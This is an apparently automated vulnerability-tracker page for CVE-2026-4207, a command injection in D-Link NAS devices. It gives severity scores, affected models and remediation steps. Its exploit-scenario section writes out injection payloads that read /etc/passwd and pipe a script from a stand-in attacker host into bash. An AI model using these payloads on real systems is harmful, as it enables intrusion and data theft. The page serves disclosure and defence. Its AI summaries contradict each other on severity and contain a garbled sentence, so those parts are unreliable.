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Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

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Impact

CVSS 6.3 (Medium) indicates moderate severity, but multiple signals elevate real-world risk: (1) Attack Vector is Network with Low Complexity and requires only Login privilege (PR:L), meaning any authenticated user—including guest accounts on many D-Link devices—can exploit; (2) Public exploit code is available (E:P) on GitHub, lowering the barrier to weaponization; (3) The CVSS Exploitability rating (E:P, RC:R) suggests proven exploitation is realistic; (4) Command injection on NAS devices typically yields root-level access to sensitive data (user files, backups, credentials), making the actual business impact (C:L/I:L/A:L is understated) more severe than CVSS suggests for confidentiality and integrity; (5) Affected products are legacy/older NAS units many users may not actively patch. However, the PR:L requirement (authenticated attacker) prevents unauthenticated remote exploitation, reducing CVSS from Critical to Medium. Real priority: HIGH for organizations running D-Link NAS devices, particularly if guest/default credentials are enabled or if internal network access is trusted. This is a post-authentication RCE with publicly available exploits—a practical, high-risk vulnerability despite the medium CVSS score.

Exploit ScenarioDerived

An attacker with login credentials (e.g., obtained via default credentials, phishing, or lateral movement within a corporate network) navigates to the web interface of a D-Link DNS-320L NAS device. The attacker crafts a request to /cgi-bin/system_mgr.cgi with a malicious cgi_firmware_upload or cgi_ntp_time parameter containing shell metacharacters, e.g., ; cat /etc/passwd; # or $(wget http://attacker.com/malware.sh | bash). The CGI application passes the unsanitized input to a system shell command without proper escaping, causing the injected commands to execute with NAS root privileges. The attacker gains shell access, exfiltrates user data stored on the NAS, modifies backups, or establishes persistence. Public POC code from GitHub repositories (wudipjq/my_vuln/D-Link8) demonstrates this attack against multiple DNS model variants. The low complexity (AC:L) and availability of exploit code mean this is readily weaponizable by intermediate attackers without deep reverse engineering.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.4% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 16, 2026

Command injection in D-Link NAS devices (DNS-320, DNS-325, DNS-343, DNR-322L and others) through the /cgi-bin/system_mgr.cgi interface allows authenticated remote attackers to execute arbitrary commands. Public exploit code exists for this vulnerability, and no patch is currently available.

Earlier versions of this analysis (1)
v1 Mar 16, 2026 - 04:00 CVSS 6.3

A command injection vulnerability exists in D-Link NAS devices across multiple models (DNS-120, DNS-320 series, DNS-1100-4, DNS-1200-05, DNS-1550-04, and others) through the /cgi-bin/system_mgr.cgi endpoint affecting functions like cgi_device, cgi_sms_test, cgi_firmware_upload, and cgi_ntp_time. An authenticated attacker can inject arbitrary OS commands by manipulating parameters, leading to unauthorized code execution with full system privileges. Public exploit code is available, and the vulnerability is tracked as actively disclosed with realistic exploitation probability.

RemediationAI

Patch via firmware update: Check D-Link support website for DNS and DNR model-specific firmware versions released after 20260205. Immediate mitigations pending patches: (1) Restrict network access to /cgi-bin/system_mgr.cgi via firewall rules—block untrusted networks from reaching the NAS management interface; (2) Disable unnecessary CGI functions if configuration permits (disable SMS test, firmware upload if not needed); (3) Enforce strong authentication and disable guest/default accounts; (4) Monitor system logs for suspicious cgi_device, cgi_sms_test, cgi_firmware_upload, or cgi_ntp_time requests with special characters or command syntax (backticks, pipes, semicolons); (5) Isolate affected NAS devices to trusted network segments only. No patch versions are explicitly mentioned in references; contact D-Link support directly or monitor their security advisory pages for available firmware releases addressing CVE-2026-4207.

Affected VersionsENISA

DNS-1200-05 20260205
DNS-120 20260205
DNS-320 20260205
DNS-345 20260205
DNR-202L 20260205
DNR-326 20260205
DNS-326 20260205
DNS-1550-04 20260205
DNS-323 20260205
DNS-327L 20260205
DNR-322L 20260205
DNS-320LW 20260205
DNS-340L 20260205
DNS-320L 20260205
DNS-1100-4 20260205
DNS-343 20260205
DNS-726-4 20260205
DNS-315L 20260205
DNS-325 20260205
DNS-321 20260205

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Technical ContextAI · show details

The vulnerability is rooted in CWE-77 (Improper Neutralization of Special Elements used in a Command), a classic OS command injection flaw. The affected endpoint is the CGI application /cgi-bin/system_mgr.cgi, which is the system management interface common across D-Link's NAS product line. The vulnerable functions (cgi_device, cgi_sms_test, cgi_firmware_upload, cgi_ntp_time) accept user-supplied input via HTTP parameters that are passed unsanitized to shell commands or system execution routines. Affected products include NAS models from D-Link's consumer and small business lines spanning DNS-1xx, DNS-3xx, DNS-7xx, DNS-1100, DNS-1200, and DNS-1550 series. The CPE data indicates multiple affected products across versions up to firmware date 20260205, suggesting the vulnerability affects all current and recent firmware versions of these models without patching.

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Severity by source

NVD PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
6.3 (MEDIUM) 2.1 (LOW)
PoC Detected
Mar 16, 2026 - 14:53 vuln.today
Public exploit code
CVE Published
Mar 16, 2026 - 02:32 nvd
MEDIUM 6.3

DescriptionCVE.org

A vulnerability was determined in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. This impacts the function cgi_device/cgi_sms_test/cgi_firmware_upload/cgi_ntp_time of the file /cgi-bin/system_mgr.cgi. Executing a manipulation can lead to command injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.

Executive ViewAI

Why It Matters

Organizations using A vulnerability should be aware of moderate risk from CVE-2026-4207, a command injection vulnerability rated CVSS 6.3. Exploitation could allow attackers to execute code or inject malicious input. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: deploy WAF rules, restrict network access, enable logging.

Threat Intelligence Overview

EPSS Score
0.4%
Top 38% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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